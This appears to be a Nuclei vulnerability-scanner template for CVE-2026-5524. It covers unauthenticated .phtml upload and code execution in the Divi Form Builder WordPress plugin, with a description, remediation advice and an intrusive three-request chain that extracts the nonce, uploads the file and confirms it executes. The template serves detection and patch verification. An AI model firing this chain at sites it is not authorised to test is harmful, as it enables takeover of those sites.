id: CVE-2026-5524 info: name: Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE author: DhiyaneshDk severity: critical description: | The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9. impact: | Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page. remediation: | Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-5524 - https://github.com/caterscam/CVE-2026-5524-PoC - https://wpscan.com/vulnerability/CVE-2026-5524 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-5524 epss-score: 0.03484 epss-percentile: 0.89035 cwe-id: CWE-434 metadata: verified: true max-request: 8 vendor: elegantthemes product: divi-form-builder framework: wordpress publicwww-query: "/wp-content/plugins/divi-form-builder/" tags: cve,cve2026,wordpress,wp-plugin,divi,elegantthemes,file-upload,rce,unauth,intrusive,vkev variables: fname: "{{rand_text_alpha(8)}}" marker: "{{randstr}}" flow: | http(1) if (template["fb_nonce"] == "") { stop() } http(2) && http(3) http: - raw: - | GET {{paths}} HTTP/1.1 Host: {{Hostname}} Cache-Control: no-cache payloads: paths: - "/" - "/contact" - "/contact-us" - "/get-in-touch" - "/quote" - "/demo" attack: clusterbomb stop-at-first-match: true host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'contains(body, "de_fb_obj") && contains(body, "fb_nonce")' - 'status_code == 200' condition: and internal: true extractors: - type: regex name: fb_nonce part: body internal: true group: 1 regex: - '"fb_nonce"\s*:\s*"([a-f0-9]{10})"' - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDFB5524PoC Origin: {{RootURL}} Referer: {{RootURL}}/ ------WebKitFormBoundaryDFB5524PoC Content-Disposition: form-data; name="action" de_fb_image_upload ------WebKitFormBoundaryDFB5524PoC Content-Disposition: form-data; name="fb_nonce" {{fb_nonce}} ------WebKitFormBoundaryDFB5524PoC Content-Disposition: form-data; name="acceptFileTypes" phtml ------WebKitFormBoundaryDFB5524PoC Content-Disposition: form-data; name="file"; filename="{{fname}}.phtml" Content-Type: image/jpeg ------WebKitFormBoundaryDFB5524PoC-- matchers: - type: dsl dsl: - 'contains(body, "files") && contains(body, "{{fname}}")' - 'status_code == 200' condition: and internal: true - raw: - | GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "{{md5(marker)}}")' - 'status_code == 200' condition: and # digest: 4a0a0047304502207e4b89075d4ca65ce0fdb23440ad51ef2f6772148700ede965e70343960f5684022100b75ab9dbbb8598264855414d5cb2e7400f3dcbc89e74ce15035faa410fe43b03:922c64590222798bb761d5b6d8e72950